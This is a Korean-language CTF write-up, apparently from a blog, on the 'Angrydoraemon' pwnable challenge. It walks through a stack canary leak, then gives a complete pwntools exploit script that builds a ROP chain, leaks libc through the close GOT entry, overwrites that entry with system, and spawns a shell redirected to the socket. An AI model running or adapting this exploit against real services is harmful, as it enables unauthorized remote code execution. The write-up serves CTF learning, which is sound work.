까나리랑 NX가 걸려있다.
아래는 메뉴이다.
취약점은 4번 메뉴에서 터진다
y를 입력하면 sprintf와 write로 buf를 출력해주지만...
여기서 까나리 릭이 가능하다.
buf는 0xa (10)바이트 이므로, buf에 "y" + "A"*9를 sendline으로 보내주면 까나리 마지막 바이트가 0x0a로 덮히고, 릭이 되고, smashing the stack이 발생한다.
그리고 다시 접속해서
"y" + "A"*9 + canary + "B"*0xc + EIP를 주면 EIP가 덮힌다.
이 문제도 소켓이므로....
리버스 쉘을 따야한다.
buf_global이 bss이고 크기가 넉넉하므로 여기를 이용하기로 한다.
1. read로 "sh >&4 0<&4\x00" 받기
2. write로 close함수 got 릭
3. close함수 오프셋으로 libc base를 구한다.
4. system함수 주소 구하고, read함수를 이용하여 close함수 got를 덮는다.
5. 이제 close함수를 실행하면 system함수가 호출된다.
from pwn import * from time import * e = ELF('./Angrydoraemon', checksec=False) libc = e.libc pop3ret = 0x8048b2c pop2ret = 0x8048b2d pop4ret = 0x80495bc p = remote('0', 8888) p.sendline('4') payload = "y" payload += "A" * 9 print 'payload :', payload print p.recvuntil('Are you sure? (y/n) ') p.sendline(payload) print p.recvuntil("You choose '"), print p.recv(10) leak = u32(p.recv(4)) - 0x0a print 'leak :', hex(leak) p.close() p = remote('0', 8888) p.sendline('4') print p.recvuntil('Are you sure? (y/n) ') fd = 4 buf = 0x0804B0A0 binsh = 'sh >&4 0<&4\x00' payload = "y" payload += "A"*9 payload += p32(leak) payload += "A"*0xc payload += p32(e.plt['read']) payload += p32(pop3ret) payload += p32(fd) payload += p32(buf) payload += p32(len(binsh)) # leak close got payload += p32(e.plt['write']) payload += p32(pop3ret) payload += p32(fd) payload += p32(e.got['close']) payload += p32(4) # got overwrite (close function) payload += p32(e.plt['read']) payload += p32(pop3ret) payload += p32(fd) payload += p32(e.got['close']) payload += p32(4) # call system payload += p32(e.plt['close']) payload += "BBBB" payload += p32(buf) p.sendline(payload) #p.recvuntil("\n\"MOUSE!!!!!!!!! (HP - 25)\"\n") p.send(binsh) leak_close = u32(p.recv(4)) libc.address = leak_close - libc.symbols['close'] p.send(p32(libc.symbols['system'])) # got overwrite p.interactive()
<삽질>
p.recvuntil('Are you sure? (y/n) ')
없이 그냥
payload = "y"
payload += "A"*9 하니까 y가 안 들어가고 A만 들어갔다...
yy를 줘도 마찬가지..
근데 저걸 recv해주니까 들어감.... 이해불가..ㄹㅇ..
(펀툴즈 안 쓰고 그냥 손으로 하면 잘 들어갔음...ㅋ)
'write-up > pwnable' 카테고리의 다른 글
PlaidCTF 2013 ropasaurusrex (0) | 2019.07.11 |
---|---|
Codegate 2018 BaskinRobins31 (0) | 2018.08.18 |
Codegate 2014 Nuclear (0) | 2018.08.14 |
Codegate 2017 babypwn (0) | 2018.08.09 |